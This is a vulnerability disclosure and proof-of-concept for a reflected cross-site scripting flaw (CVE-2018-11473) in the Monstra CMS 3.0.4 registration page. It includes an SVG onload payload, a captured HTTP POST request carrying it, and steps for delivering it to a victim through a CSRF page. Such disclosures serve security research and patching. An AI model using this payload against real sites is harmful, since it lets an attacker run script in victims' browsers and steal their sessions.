**Monstra CMS 3.0.4**

**Cross Site Scripting (XSS) On Registration Page**

**Assigned CVE Number:**

***CVE-2018-11473***

**Proof-of-Concept**

**Submitted by:**

**Author: Nikhil Sahoo**

**Website:**  **https://www.linkedin.com/in/nikhil-sahoo-87204b106/**

Proof-of-Concept

Hello,

I would like to report a vulnerability that I discovered in Monstra CMS 3.0.4, which can be exploited to perform Reflected Cross-Site Scripting (XSS) attacks.

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source; the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

------------------------------------------

Vulnerability Type:

Cross Site Scripting (XSS)

------------------------------------------

Vendor of Product:

Monstra CMS 3.0.4

------------------------------------------

Affected Component:

http://localhost/monstra/users/registration

------------------------------------------

Attack Type:

Remote

------------------------------------------

Attack Vectors:

Steps:

1)While registering..enter your details  
 2)turn up the intercept in burp  
 3)Capture the request and change any field(endpoint) in post request body to a malicious code:-  "><svg/onload=alert(1337)>  
 4)Make a csrf poc of that send it to the victim  
 5)The victim will ultimately recieve a pop up

-------------------------------------------

POST REQUEST:-

POST /monstra/users/registration HTTP/1.1  
Host: localhost  
Cache-Control: no-cache  
Referer: <http://localhost/monstra/users/registration>  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36  
Accept-Language: en-us,en;q=0.5  
Cookie: PHPSESSID=xxxx; login\_attempts=i%3A5%3B  
Accept-Encoding: gzip, deflate  
Content-Length: 142  
Content-Type: application/x-www-form-urlencoded

csrf=803ee6c7fc318793f6378e0a7e22257ff8a7ea48&login="><svg/onload=prompt(1337)>&password=&email=&answer=&register=Register

------------------------------------------

Reference:

https://www.owasp.org/index.php/Cross-site\_Scripting\_(XSS)

------------------------------------------

Discoverer:

Author: Nikhil Sahoo

Website: **https://www.linkedin.com/in/nikhil-sahoo-87204b106/**